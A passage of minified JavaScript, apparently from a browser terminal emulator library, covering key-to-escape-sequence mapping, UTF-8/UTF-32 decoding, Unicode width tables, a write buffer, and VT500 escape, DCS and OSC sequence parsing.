0:t[e.shiftKey?1:0];if(i)o.key=s.C0.ESC+i;else if(e.keyCode>=65&&e.keyCode<=90){const t=e.ctrlKey?e.keyCode-64:e.keyCode+32;let i=String.fromCharCode(t);e.shiftKey&&(i=i.toUpperCase()),o.key=s.C0.ESC+i}else if(32===e.keyCode)o.key=s.C0.ESC+(e.ctrlKey?s.C0.NUL:" ");else if("Dead"===e.key&&e.code.startsWith("Key")){let t=e.code.slice(3,4);e.shiftKey||(t=t.toLowerCase()),o.key=s.C0.ESC+t,o.cancel=!0}}else e.keyCode>=65&&e.keyCode<=90?o.key=String.fromCharCode(e.keyCode-64):32===e.keyCode?o.key=s.C0.NUL:e.keyCode>=51&&e.keyCode<=55?o.key=String.fromCharCode(e.keyCode-51+27):56===e.keyCode?o.key=s.C0.DEL:219===e.keyCode?o.key=s.C0.ESC:220===e.keyCode?o.key=s.C0.FS:221===e.keyCode&&(o.key=s.C0.GS)}return o}},482:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.Utf8ToUtf32=t.StringToUtf32=t.utf32ToString=t.stringFromCodePoint=void 0,t.stringFromCodePoint=function(e){return e>65535?(e-=65536,String.fromCharCode(55296+(e>>10))+String.fromCharCode(e%1024+56320)):String.fromCharCode(e)},t.utf32ToString=function(e,t=0,i=e.length){let s="";for(let r=t;r<i;++r){let t=e[r];t>65535?(t-=65536,s+=String.fromCharCode(55296+(t>>10))+String.fromCharCode(t%1024+56320)):s+=String.fromCharCode(t)}return s},t.StringToUtf32=class{constructor(){this._interim=0}clear(){this._interim=0}decode(e,t){const i=e.length;if(!i)return 0;let s=0,r=0;if(this._interim){const i=e.charCodeAt(r++);56320<=i&&i<=57343?t[s++]=1024*(this._interim-55296)+i-56320+65536:(t[s++]=this._interim,t[s++]=i),this._interim=0}for(let n=r;n<i;++n){const r=e.charCodeAt(n);if(55296<=r&&r<=56319){if(++n>=i)return this._interim=r,s;const o=e.charCodeAt(n);56320<=o&&o<=57343?t[s++]=1024*(r-55296)+o-56320+65536:(t[s++]=r,t[s++]=o)}else 65279!==r&&(t[s++]=r)}return s}},t.Utf8ToUtf32=class{constructor(){this.interim=new Uint8Array(3)}clear(){this.interim.fill(0)}decode(e,t){const i=e.length;if(!i)return 0;let s,r,n,o,a=0,h=0,c=0;if(this.interim[0]){let s=!1,r=this.interim[0];r&=192==(224&r)?31:224==(240&r)?15:7;let n,o=0;for(;(n=63&this.interim[++o])&&o<4;)r<<=6,r|=n;const h=192==(224&this.interim[0])?2:224==(240&this.interim[0])?3:4,l=h-o;for(;c<l;){if(c>=i)return 0;if(n=e[c++],128!=(192&n)){c--,s=!0;break}this.interim[o++]=n,r<<=6,r|=63&n}s||(2===h?r<128?c--:t[a++]=r:3===h?r<2048||r>=55296&&r<=57343||65279===r||(t[a++]=r):r<65536||r>1114111||(t[a++]=r)),this.interim.fill(0)}const l=i-4;let d=c;for(;d<i;){for(;!(!(d<l)||128&(s=e[d])||128&(r=e[d+1])||128&(n=e[d+2])||128&(o=e[d+3]));)t[a++]=s,t[a++]=r,t[a++]=n,t[a++]=o,d+=4;if(s=e[d++],s<128)t[a++]=s;else if(192==(224&s)){if(d>=i)return this.interim[0]=s,a;if(r=e[d++],128!=(192&r)){d--;continue}if(h=(31&s)<<6|63&r,h<128){d--;continue}t[a++]=h}else if(224==(240&s)){if(d>=i)return this.interim[0]=s,a;if(r=e[d++],128!=(192&r)){d--;continue}if(d>=i)return this.interim[0]=s,this.interim[1]=r,a;if(n=e[d++],128!=(192&n)){d--;continue}if(h=(15&s)<<12|(63&r)<<6|63&n,h<2048||h>=55296&&h<=57343||65279===h)continue;t[a++]=h}else if(240==(248&s)){if(d>=i)return this.interim[0]=s,a;if(r=e[d++],128!=(192&r)){d--;continue}if(d>=i)return this.interim[0]=s,this.interim[1]=r,a;if(n=e[d++],128!=(192&n)){d--;continue}if(d>=i)return this.interim[0]=s,this.interim[1]=r,this.interim[2]=n,a;if(o=e[d++],128!=(192&o)){d--;continue}if(h=(7&s)<<18|(63&r)<<12|(63&n)<<6|63&o,h<65536||h>1114111)continue;t[a++]=h}}return a}}},225:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.UnicodeV6=void 0;const i=[[768,879],[1155,1158],[1160,1161],[1425,1469],[1471,1471],[1473,1474],[1476,1477],[1479,1479],[1536,1539],[1552,1557],[1611,1630],[1648,1648],[1750,1764],[1767,1768],[1770,1773],[1807,1807],[1809,1809],[1840,1866],[1958,1968],[2027,2035],[2305,2306],[2364,2364],[2369,2376],[2381,2381],[2385,2388],[2402,2403],[2433,2433],[2492,2492],[2497,2500],[2509,2509],[2530,2531],[2561,2562],[2620,2620],[2625,2626],[2631,2632],[2635,2637],[2672,2673],[2689,2690],[2748,2748],[2753,2757],[2759,2760],[2765,2765],[2786,2787],[2817,2817],[2876,2876],[2879,2879],[2881,2883],[2893,2893],[2902,2902],[2946,2946],[3008,3008],[3021,3021],[3134,3136],[3142,3144],[3146,3149],[3157,3158],[3260,3260],[3263,3263],[3270,3270],[3276,3277],[3298,3299],[3393,3395],[3405,3405],[3530,3530],[3538,3540],[3542,3542],[3633,3633],[3636,3642],[3655,3662],[3761,3761],[3764,3769],[3771,3772],[3784,3789],[3864,3865],[3893,3893],[3895,3895],[3897,3897],[3953,3966],[3968,3972],[3974,3975],[3984,3991],[3993,4028],[4038,4038],[4141,4144],[4146,4146],[4150,4151],[4153,4153],[4184,4185],[4448,4607],[4959,4959],[5906,5908],[5938,5940],[5970,5971],[6002,6003],[6068,6069],[6071,6077],[6086,6086],[6089,6099],[6109,6109],[6155,6157],[6313,6313],[6432,6434],[6439,6440],[6450,6450],[6457,6459],[6679,6680],[6912,6915],[6964,6964],[6966,6970],[6972,6972],[6978,6978],[7019,7027],[7616,7626],[7678,7679],[8203,8207],[8234,8238],[8288,8291],[8298,8303],[8400,8431],[12330,12335],[12441,12442],[43014,43014],[43019,43019],[43045,43046],[64286,64286],[65024,65039],[65056,65059],[65279,65279],[65529,65531]],s=[[68097,68099],[68101,68102],[68108,68111],[68152,68154],[68159,68159],[119143,119145],[119155,119170],[119173,119179],[119210,119213],[119362,119364],[917505,917505],[917536,917631],[917760,917999]];let r;t.UnicodeV6=class{constructor(){if(this.version="6",!r){r=new Uint8Array(65536),r.fill(1),r[0]=0,r.fill(0,1,32),r.fill(0,127,160),r.fill(2,4352,4448),r[9001]=2,r[9002]=2,r.fill(2,11904,42192),r[12351]=1,r.fill(2,44032,55204),r.fill(2,63744,64256),r.fill(2,65040,65050),r.fill(2,65072,65136),r.fill(2,65280,65377),r.fill(2,65504,65511);for(let e=0;e<i.length;++e)r.fill(0,i[e][0],i[e][1]+1)}}wcwidth(e){return e<32?0:e<127?1:e<65536?r[e]:function(e,t){let i,s=0,r=t.length-1;if(e<t[0][0]||e>t[r][1])return!1;for(;r>=s;)if(i=s+r>>1,e>t[i][1])s=i+1;else{if(!(e<t[i][0]))return!0;r=i-1}return!1}(e,s)?0:e>=131072&&e<=196605||e>=196608&&e<=262141?2:1}}},5981:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.WriteBuffer=void 0;const s=i(8460),r=i(844);class n extends r.Disposable{constructor(e){super(),this._action=e,this._writeBuffer=[],this._callbacks=[],this._pendingData=0,this._bufferOffset=0,this._isSyncWriting=!1,this._syncCalls=0,this._didUserInput=!1,this._onWriteParsed=this.register(new s.EventEmitter),this.onWriteParsed=this._onWriteParsed.event}handleUserInput(){this._didUserInput=!0}writeSync(e,t){if(void 0!==t&&this._syncCalls>t)return void(this._syncCalls=0);if(this._pendingData+=e.length,this._writeBuffer.push(e),this._callbacks.push(void 0),this._syncCalls++,this._isSyncWriting)return;let i;for(this._isSyncWriting=!0;i=this._writeBuffer.shift();){this._action(i);const e=this._callbacks.shift();e&&e()}this._pendingData=0,this._bufferOffset=2147483647,this._isSyncWriting=!1,this._syncCalls=0}write(e,t){if(this._pendingData>5e7)throw new Error("write data discarded, use flow control to avoid losing data");if(!this._writeBuffer.length){if(this._bufferOffset=0,this._didUserInput)return this._didUserInput=!1,this._pendingData+=e.length,this._writeBuffer.push(e),this._callbacks.push(t),void this._innerWrite();setTimeout((()=>this._innerWrite()))}this._pendingData+=e.length,this._writeBuffer.push(e),this._callbacks.push(t)}_innerWrite(e=0,t=!0){const i=e||Date.now();for(;this._writeBuffer.length>this._bufferOffset;){const e=this._writeBuffer[this._bufferOffset],s=this._action(e,t);if(s){const e=e=>Date.now()-i>=12?setTimeout((()=>this._innerWrite(0,e))):this._innerWrite(i,e);return void s.catch((e=>(queueMicrotask((()=>{throw e})),Promise.resolve(!1)))).then(e)}const r=this._callbacks[this._bufferOffset];if(r&&r(),this._bufferOffset++,this._pendingData-=e.length,Date.now()-i>=12)break}this._writeBuffer.length>this._bufferOffset?(this._bufferOffset>50&&(this._writeBuffer=this._writeBuffer.slice(this._bufferOffset),this._callbacks=this._callbacks.slice(this._bufferOffset),this._bufferOffset=0),setTimeout((()=>this._innerWrite()))):(this._writeBuffer.length=0,this._callbacks.length=0,this._pendingData=0,this._bufferOffset=0),this._onWriteParsed.fire()}}t.WriteBuffer=n},5941:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.toRgbString=t.parseColor=void 0;const i=/^([\da-f])\/([\da-f])\/([\da-f])$|^([\da-f]{2})\/([\da-f]{2})\/([\da-f]{2})$|^([\da-f]{3})\/([\da-f]{3})\/([\da-f]{3})$|^([\da-f]{4})\/([\da-f]{4})\/([\da-f]{4})$/,s=/^[\da-f]+$/;function r(e,t){const i=e.toString(16),s=i.length<2?"0"+i:i;switch(t){case 4:return i[0];case 8:return s;case 12:return(s+s).slice(0,3);default:return s+s}}t.parseColor=function(e){if(!e)return;let t=e.toLowerCase();if(0===t.indexOf("rgb:")){t=t.slice(4);const e=i.exec(t);if(e){const t=e[1]?15:e[4]?255:e[7]?4095:65535;return[Math.round(parseInt(e[1]||e[4]||e[7]||e[10],16)/t*255),Math.round(parseInt(e[2]||e[5]||e[8]||e[11],16)/t*255),Math.round(parseInt(e[3]||e[6]||e[9]||e[12],16)/t*255)]}}else if(0===t.indexOf("#")&&(t=t.slice(1),s.exec(t)&&[3,6,9,12].includes(t.length))){const e=t.length/3,i=[0,0,0];for(let s=0;s<3;++s){const r=parseInt(t.slice(e*s,e*s+e),16);i[s]=1===e?r<<4:2===e?r:3===e?r>>4:r>>8}return i}},t.toRgbString=function(e,t=16){const[i,s,n]=e;return`rgb:${r(i,t)}/${r(s,t)}/${r(n,t)}`}},5770:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.PAYLOAD_LIMIT=void 0,t.PAYLOAD_LIMIT=1e7},6351:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.DcsHandler=t.DcsParser=void 0;const s=i(482),r=i(8742),n=i(5770),o=[];t.DcsParser=class{constructor(){this._handlers=Object.create(null),this._active=o,this._ident=0,this._handlerFb=()=>{},this._stack={paused:!1,loopPosition:0,fallThrough:!1}}dispose(){this._handlers=Object.create(null),this._handlerFb=()=>{},this._active=o}registerHandler(e,t){void 0===this._handlers[e]&&(this._handlers[e]=[]);const i=this._handlers[e];return i.push(t),{dispose:()=>{const e=i.indexOf(t);-1!==e&&i.splice(e,1)}}}clearHandler(e){this._handlers[e]&&delete this._handlers[e]}setHandlerFallback(e){this._handlerFb=e}reset(){if(this._active.length)for(let e=this._stack.paused?this._stack.loopPosition-1:this._active.length-1;e>=0;--e)this._active[e].unhook(!1);this._stack.paused=!1,this._active=o,this._ident=0}hook(e,t){if(this.reset(),this._ident=e,this._active=this._handlers[e]||o,this._active.length)for(let e=this._active.length-1;e>=0;e--)this._active[e].hook(t);else this._handlerFb(this._ident,"HOOK",t)}put(e,t,i){if(this._active.length)for(let s=this._active.length-1;s>=0;s--)this._active[s].put(e,t,i);else this._handlerFb(this._ident,"PUT",(0,s.utf32ToString)(e,t,i))}unhook(e,t=!0){if(this._active.length){let i=!1,s=this._active.length-1,r=!1;if(this._stack.paused&&(s=this._stack.loopPosition-1,i=t,r=this._stack.fallThrough,this._stack.paused=!1),!r&&!1===i){for(;s>=0&&(i=this._active[s].unhook(e),!0!==i);s--)if(i instanceof Promise)return this._stack.paused=!0,this._stack.loopPosition=s,this._stack.fallThrough=!1,i;s--}for(;s>=0;s--)if(i=this._active[s].unhook(!1),i instanceof Promise)return this._stack.paused=!0,this._stack.loopPosition=s,this._stack.fallThrough=!0,i}else this._handlerFb(this._ident,"UNHOOK",e);this._active=o,this._ident=0}};const a=new r.Params;a.addParam(0),t.DcsHandler=class{constructor(e){this._handler=e,this._data="",this._params=a,this._hitLimit=!1}hook(e){this._params=e.length>1||e.params[0]?e.clone():a,this._data="",this._hitLimit=!1}put(e,t,i){this._hitLimit||(this._data+=(0,s.utf32ToString)(e,t,i),this._data.length>n.PAYLOAD_LIMIT&&(this._data="",this._hitLimit=!0))}unhook(e){let t=!1;if(this._hitLimit)t=!1;else if(e&&(t=this._handler(this._data,this._params),t instanceof Promise))return t.then((e=>(this._params=a,this._data="",this._hitLimit=!1,e)));return this._params=a,this._data="",this._hitLimit=!1,t}}},2015:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.EscapeSequenceParser=t.VT500_TRANSITION_TABLE=t.TransitionTable=void 0;const s=i(844),r=i(8742),n=i(6242),o=i(6351);class a{constructor(e){this.table=new Uint8Array(e)}setDefault(e,t){this.table.fill(e<<4|t)}add(e,t,i,s){this.table[t<<8|e]=i<<4|s}addMany(e,t,i,s){for(let r=0;r<e.length;r++)this.table[t<<8|e[r]]=i<<4|s}}t.TransitionTable=a;const h=160;t.VT500_TRANSITION_TABLE=function(){const e=new a(4095),t=Array.apply(null,Array(256)).map(((e,t)=>t)),i=(e,i)=>t.slice(e,i),s=i(32,127),r=i(0,24);r.push(25),r.push.apply(r,i(28,32));const n=i(0,14);let o;for(o in e.setDefault(1,0),e.addMany(s,0,2,0),n)e.addMany([24,26,153,154],o,3,0),e.addMany(i(128,144),o,3,0),e.addMany(i(144,152),o,3,0),e.add(156,o,0,0),e.add(27,o,11,1),e.add(157,o,4,8),e.addMany([152,158,159],o,0,7),e.add(155,o,11,3),e.add(144,o,11,9);return e.addMany(r,0,3,0),e.addMany(r,1,3,1),e.add(127,1,0,1),e.addMany(r,8,0,8),e.addMany(r,3,3,3),e.add(127,3,0,3),e.addMany(r,4,3,4),e.add(127,4,0,4),e.addMany(r,6,3,6),e.addMany(r,5,3,5),e.add(127,5,0,5),e.addMany(r,2,3,2),e.add(127,2,0,2),e.add(93,1,4,8),e.addMany(s,8,5,8),e.add(127,8,5,8),e.addMany([156,27,24,26,7],8,6,0),e.addMany(i(28,32),8,0,8),e.addMany([88,94,95],1,0,7),e.addMany(s,7,0,7),e.addMany(r,7,0,7),e.add(156,7,0,0),e.add(127,7,0,7),e.add(91,1,11,3),e.addMany(i(64,127),3,7,0),e.addMany(i(48,60),3,8,4),e.addMany([60,61,62,63],3,9,4),e.addMany(i(48,60),4,8,4),e.addMany(i(64,127),4,7,0),e.addMany([60,61,62,63],4,0,6),e.addMany(i(32,64),6,0,6),e.add(127,6,0,6),e.addMany(i(64,127),6,0,0),e.addMany(i(32,48),3,9,5),e.addMany(i(32,48),5,9,5),e.addMany(i(48,64),5,0,6),e.addMany(i(64,127),5,7,0),e.addMany(i(32,48),4,9,5),e.addMany(i(32,48),1,9,2),e.addMany(i(32,48),2,9,2),e.addMany(i(48,127),2,10,0),e.addMany(i(48,80),1,10,0),e.addMany(i(81,88),1,10,0),e.addMany([89,90,92],1,10,0),e.addMany(i(96,127),1,10,0),e.add(80,1,11,9),e.addMany(r,9,0,9),e.add(127,9,0,9),e.addMany(i(28,32),9,0,9),e.addMany(i(32,48),9,9,12),e.addMany(i(48,60),9,8,10),e.addMany([60,61,62,63],9,9,10),e.addMany(r,11,0,11),e.addMany(i(32,128),11,0,11),e.addMany(i(28,32),11,0,11),e.addMany(r,10,0,10),e.add(127,10,0,10),e.addMany(i(28,32),10,0,10),e.addMany(i(48,60),10,8,10),e.addMany([60,61,62,63],10,0,11),e.addMany(i(32,48),10,9,12),e.addMany(r,12,0,12),e.add(127,12,0,12),e.addMany(i(28,32),12,0,12),e.addMany(i(32,48),12,9,12),e.addMany(i(48,64),12,0,11),e.addMany(i(64,127),12,12,13),e.addMany(i(64,127),10,12,13),e.addMany(i(64,127),9,12,13),e.addMany(r,13,13,13),e.addMany(s,13,13,13),e.add(127,13,0,13),e.addMany([27,156,24,26],13,14,0),e.add(h,0,2,0),e.add(h,8,5,8),e.add(h,6,0,6),e.add(h,11,0,11),e.add(h,13,13,13),e}();class c extends s.Disposable{constructor(e=t.VT500_TRANSITION_TABLE){super(),this._transitions=e,this._parseStack={state:0,handlers:[],handlerPos:0,transition:0,chunkPos:0},this.initialState=0,this.currentState=this.initialState,this._params=new r.Params,this._params.addParam(0),this._collect=0,this.precedingCodepoint=0,this._printHandlerFb=(e,t,i)=>{},this._executeHandlerFb=e=>{},this._csiHandlerFb=(e,t)=>{},this._escHandlerFb=e=>{},this._errorHandlerFb=e=>e,this._printHandler=this._printHandlerFb,this._executeHandlers=Object.create(null),this._csiHandlers=Object.create(null),this._escHandlers=Object.create(null),this.register((0,s.toDisposable)((()=>{this._csiHandlers=Object.create(null),this._executeHandlers=Object.create(null),this._escHandlers=Object.create(null)}))),this._oscParser=this.register(new n.OscParser),this._dcsParser=this.register(new o.DcsParser),this._errorHandler=this._errorHandlerFb,this.registerEscHandler({final:"\\"},(()=>!0))}_identifier(e,t=[64,126]){let i=0;if(e.prefix){if(e.prefix.length>1)throw new Error("only one byte as prefix supported");if(i=e.prefix.charCodeAt(0),i&&60>i||i>63)throw new Error("prefix must be in range 0x3c .. 0x3f")}if(e.intermediates){if(e.intermediates.length>2)throw new Error("only two bytes as intermediates are supported");for(let t=0;t<e.intermediates.length;++t){const s=e.intermediates.charCodeAt(t);if(32>s||s>47)throw new Error("intermediate must be in range 0x20 .. 0x2f");i<<=8,i|=s}}if(1!==e.final.length)throw new Error("final must be a single byte");const s=e.final.charCodeAt(0);if(t[0]>s||s>t[1])throw new Error(`final must be in range ${t[0]} .. ${t[1]}`);return i<<=8,i|=s,i}identToString(e){const t=[];for(;e;)t.push(String.fromCharCode(255&e)),e>>=8;return t.reverse().join("")}setPrintHandler(e){this._printHandler=e}clearPrintHandler(){this._printHandler=this._printHandlerFb}registerEscHandler(e,t){const i=this._identifier(e,[48,126]);void 0===this._escHandlers[i]&&(this._escHandlers[i]=[]);const s=this._escHandlers[i];return s.push(t),{dispose:()=>{const e=s.indexOf(t);-1!==e&&s.splice(e,1)}}}clearEscHandler(e){this._escHandlers[this._identifier(e,[48,126])]&&delete this._escHandlers[this._identifier(e,[48,126])]}setEscHandlerFallback(e){this._escHandlerFb=e}setExecuteHandler(e,t){this._executeHandlers[e.charCodeAt(0)]=t}clearExecuteHandler(e){this._executeHandlers[e.charCodeAt(0)]&&delete this._executeHandlers[e.charCodeAt(0)]}setExecuteHandlerFallback(e){this._executeHandlerFb=e}registerCsiHandler(e,t){const i=this._identifier(e);void 0===this._csiHandlers[i]&&(this._csiHandlers[i]=[]);const s=this._csiHandlers[i];return s.push(t),{dispose:()=>{const e=s.indexOf(t);-1!==e&&s.splice(e,1)}}}clearCsiHandler(e){this._csiHandlers[this._identifier(e)]&&delete this._csiHandlers[this._identifier(e)]}setCsiHandlerFallback(e){this._csiHandlerFb=e}registerDcsHandler(e,t){return this._dcsParser.registerHandler(this._identifier(e),t)}clearDcsHandler(e){this._dcsParser.clearHandler(this._identifier(e))}setDcsHandlerFallback(e){this._dcsParser.setHandlerFallback(e)}registerOscHandler(e,t){return this._oscParser.registerHandler(e,t)}clearOscHandler(e){this._oscParser.clearHandler(e)}setOscHandlerFallback(e){this._oscParser.setHandlerFallback(e)}setErrorHandler(e){this._errorHandler=e}clearErrorHandler(){this._errorHandler=this._errorHandlerFb}reset(){this.currentState=this.initialState,this._oscParser.reset(),this._dcsParser.reset(),this._params.reset(),this._params.addParam(0),this._collect=0,this.precedingCodepoint=0,0!==this._parseStack.state&&(this._parseStack.state=2,this._parseStack.handlers=[])}_preserveStack(e,t,i,s,r){this._parseStack.state=e,this._parseStack.handlers=t,this._parseStack.handlerPos=i,this._parseStack.transition=s,this._parseStack.chunkPos=r}parse(e,t,i){let s,r=0,n=0,o=0;if(this._parseStack.state)if(2===this._parseStack.state)this._parseStack.state=0,o=this._parseStack.chunkPos+1;else{if(void 0===i||1===this._parseStack.state)throw this._parseStack.state=1,new Error("improper continuation due to previous async handler, giving up parsing");const t=this._parseStack.handlers;let n=this._parseStack.handlerPos-1;switch(this._parseStack.state){case 3:if(!1===i&&n>-1)for(;n>=0&&(s=t[n](this._params),!0!==s);n--)if(s instanceof Promise)return this._parseStack.handlerPos=n,s;this._parseStack.handlers=[];break;case 4:if(!1===i&&n>-1)for(;n>=0&&(s=t[n](),!0!==s);n--)if(s instanceof Promise)return this._parseStack.handlerPos=n,s;this._parseStack.handlers=[];break;case 6:if(r=e[this._parseStack.chunkPos],s=this._dcsParser.unhook(24!==r&&26!==r,i),s)return s;27===r&&(this._parseStack.transition|=1),this._params.reset(),this._params.addParam(0),this._collect=0;break;case 5:if(r=e[this._parseStack.chunkPos],s=this._oscParser.end(24!==r&&26!==r,i),s)return s;27===r&&(this._parseStack.transition|=1),this._params.reset(),this._params.addParam(0),this._collect=0}this._parseStack.state=0,o=this._parseStack.chunkPos+1,this.precedingCodepoint=0,this.currentState=15&this._parseStack.transition}for(let i=o;i<t;++i){switch(r=e[i],n=this._transitions.table[this.currentState<<8|(r<160?r:h)],n>>4){case 2:for(let s=i+1;;++s){if(s>=t||(r=e[s])<32||r>126&&r<h){this._printHandler(e,i,s),i=s-1;break}if(++s>=t||(r=e[s])<32||r>126&&r<h){this._printHandler(e,i,s),i=s-1;break}if(++s>=t||(r=e[s])<32||r>126&&r<h){this._printHandler(e,i,s),i=s-1;break}if(++s>=t||(r=e[s])<32||r>126&&r<h){this._printHandler(e,i,s),i=s-1;break}}break;case 3:this._executeHandlers[r]?this._executeHandlers[r]():this._executeHandlerFb(r),this.precedingCodepoint=0;break;case 0:break;case 1:if(this._errorHandler({position:i,code:r,currentState:this.currentState,collect:this._collect,params:this._params,abort:!1}).abort)return;break;case 7:const o=this._csiHandlers[this._collect<<8|r];let a=o?o.length-1:-1;for(;a>=0&&(s=o[a](this._params),!0!==s);a--)if(s instanceof Promise)return this._preserveStack(3,o,a,n,i),s;a<0&&this._csiHandlerFb(this._collect<<8|r,this._params),this.precedingCodepoint=0;break;case 8:do{switch(r){case 59:this._params.addParam(0);break;case 58:this._params.addSubParam(-1);break;default:this._params.addDigit(r-48)}}while(++i<t&&(r=e[i])>47&&r<60);i--;break;case 9:this._collect<<=8,this._collect|=r;break;case 10:const c=this._escHandlers[this._collect<<8|r];let l=c?c.length-1:-1;for(;l>=0&&(s=c[l](),!0!==s);l--)if(s instanceof Promise)return this._preserveStack(4,c,l,n,i),s;l<0&&this._escHandlerFb(this._collect<<8|r),this.precedingCodepoint=0;break;case 11:this._params.reset(),this._params.addParam(0),this._collect=0;break;case 12:this._dcsParser.hook(this._collect<<8|r,this._params);break;case 13:for(let s=i+1;;++s)if(s>=t||24===(r=e[s])||26===r||27===r||r>127&&r<h){this._dcsParser.put(e,i,s),i=s-1;break}break;case 14:if(s=this._dcsParser.unhook(24!==r&&26!==r),s)return this._preserveStack(6,[],0,n,i),s;27===r&&(n|=1),this._params.reset(),this._params.addParam(0),this._collect=0,this.precedingCodepoint=0;break;case 4:this._oscParser.start();break;case 5:for(let s=i+1;;s++)if(s>=t||(r=e[s])<32||r>127&&r<h){this._oscParser.put(e,i,s),i=s-1;break}break;case 6:if(s=this._oscParser.end(24!==r&&26!==r),s)return this._preserveStack(5,[],0,n,i),s;27===r&&(n|=1),this._params.reset(),this._params.addParam(0),this._collect=0,this.precedingCodepoint=0}this.currentState=15&n}}}t.EscapeSequenceParser=c},6242:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.OscHandler=t.OscParser=void 0;const s=i(5770),r=i(482),n=[];t.OscParser=class{constructor(){this._state=0,this._active=n,this._id=-1,this._handlers=Object.create(null),this._handlerFb=()=>{},this._stack={paused:!1,loopPosition:0,fallThrough:!1}}registerHandler(e,t){void 0===this._handlers[e]&&(this._handlers[e]=[]);const i=this._handlers[e];return i.push(t),{dispose:()=>{const e=i.indexOf(t);-1!==e&&i.splice(e,1)}}}clearHandler(e){this._handlers[e]&&delete this._handlers[e]}setHandlerFallback(e){this._handlerFb=e}dispose(){this._handlers=Object.create(null),this._handlerFb=()=>{},this._active=n}reset(){if(2===this._state)for(let e=this._stack.paused?this._stack.loopPosition-1:this._active.length-1;e>=0;--e)this._active[e].end(!1);this._stack.paused=!1,this._active=n,this._id=-1,this._state=0}_start(){if(this._active=this._handlers[this._id]||n,this._active.length)for(let e=this._active.length-1;e>=0;e--)this._active[e].start();else this._handlerFb(this._id,"START")}_put(e,t,i){if(this._active.length)for(let s=this._active.length-1;s>=0;s--)this._active[s].put(e,t,i);else this._handlerFb(this._id,"PUT",(0,r.utf32ToString)(e,t,i))}start(){this.reset(),this._state=1}put(e,t,i){if(3!==this._state){if(1===this._state)for(;t<i;){const i=e[t++];if(59===i){this._state=2,this._start();break}if(i<48||57<i)return void(this._state=3);-1===this._id&&(this._id=0),this._id=10*this._id+i-48}2===this._state&&i-t>0&&this._put(e,t,i)}}end(e,t=!0){if(0!==this._state){if(3!==this._state)if(1===this._state&&this._start(),this._active.length){let i=!1,s=this._active.length-1,r=!1;if(this._stack.paused&&(s=this._stack.loopPosition-1,i=t,r=this._stack.fallThrough,this._stack.paused=!1),!r&&!1===i){for(;s>=0&&(i=this._active[s].end(e),!0!==i);s--)if(i instanceof Promise)return this._stack.paused=!0,this._stack.loopPosition=s,this._stack.fallThrough=!1,i;s--}for(;s>=0;s--)if(i=this._active[s].end(!1),i instanceof Promise)return this._stack.paused=!0,this._stack.loopPosition=s,this._stack.fallThrough=!0,i}else this._handlerFb(this._id,"END",e);this._active=n,this._id=-1,this._state=0}}},t.OscHandler=class{constructor(e){this._handler=e,this._data="",this._hitLimit=!1}start(){this._data="",this._hitLimit=!1}put(e,t,i){this._hitLimit||(this._data+=(0,r.utf32ToString)(e,t,i),this._data.length>s.PAYLOAD_LIMIT&&(this._data="",this._hitLimit=!0))}end(e){let t=!1;if(this._hitLimit)t=!1;else if(e&&(t=this._handler(this._data),t instanceof Promise))return t.then((e=>(this._data="",this._hitLimit=!1,e)));return this._data="",this._hitLimit=!1,t}}},8742:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.Params=void 0;const i=2147483647;class s{static fromArray(e){const t=new s;if(!e.length)return t;for(let i=Array.isArray(e[0])?1:0;i<e.length;++i){const s=e[i];if(Array.isArray(s))for(let e=0;e<s.length;++e)t.addSubParam(s[e]);else t.addParam(s)}return t}constructor(e=32,t=32){if(this.maxLength=e,this.maxSubParamsLength=t,t>256)throw new Error("maxSubParamsLength must not be greater than 256");this.params=new Int32Array(e),this.length=0,this._subParams=new Int32Array(t),this._subParamsLength=0,this._subParamsIdx=new Uint16Array(e),this._rejectDigits=!1,this._rejectSubDigits=!1,this._digitIsSub=!1}clone(){const e=new s(this.maxLength,this.maxSubParamsLength);return e.params.set(this.params),e.length=this.length,e._subParams.set(this._subParams),e._subParamsLength=this._subParamsLength,e._subParamsIdx.set(this._subParamsIdx),e._rejectDigits=this._rejectDigits,e._rejectSubDigits=this._rejectSubDigits,e._digitIsSub=this._digitIsSub,e}toArray(){const e=[];for(let t=0;t<this.length;++t){e.push(this.params[t]);const i=this._subParamsIdx[t]>>8,s=255&this._subParamsIdx[t];s-i>0&&e.push(Array.prototype.slice.call(this._subParams,i,s))}return e}reset(){this.length=0,this._subParamsLength=0,this._rejectDigits=!1,this._rejectSubDigits=!1,this._digitIsSub=!1}addParam(e){if(this._digitIsSub=!1,this.length>=this.maxLength)this._rejectDigits=!0;else{if(e<-1)throw new Error("values lesser than -1 are not allowed");this._subParamsIdx[this.length]=this._subParamsLength<<8|this._subParamsLength,this.params[this.length++]=e>i?i:e}}addSubParam(e){if(this._digitIsSub=!0,this.length)if(this._rejectDigits||this._subParamsLength>=this.maxSubParamsLength)this._rejectSubDigits=!0;else{if(e<-1)throw new Error("values lesser than -1 are not allowed");this._subParams[this._subParamsLength++]=e>i?i:e,this._subParamsIdx[this.length-1]++}}hasSubParams(e){return(255&this._subParamsIdx[e])-(this._subParamsIdx[e]>>8)>0}getSubParams(e){const t=this._subParamsIdx[e]>>8,i=255&this._subParamsIdx[e];return i-t>0?this._subParams.subarray(t,i):null}getSubParamsAll(){const e={};for(let t=0;t<this.length;++t){const i=this._subParamsIdx[t]>>8,s=255&this._subParamsIdx[t];s-i>0&&(e[t]=this._subParams.slice(i,s))}return e}addDigit(e){let t;if(this._rejectDigits||!(t=this._digitIsSub?this._subParamsLength:this.length)||this._digitIsSub&&this._rejectSubDigits)return;const s=this._digitIsSub?this._subParams:this.params,r=s[t-1];s[t-1]=~r?Math.min(10*r+e,i):e}}t.Params=s},5741:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.AddonManager=void 0,t.AddonManager=class{constructor(){this._addons=[]}dispose(){for(let e=this._addons.length-1;e>=0;e--)this._addons[e].instance.dispose()}loadAddon(e,t){const i={instance:t,dispose:t.dispose,isDisposed:!1};this._addons.push(i),t.dispose=()=>this._wrappedAddonDispose(i),t.activate(e)}_wrappedAddonDispose(e){if(e.isDisposed)return;let t=-1;for(let 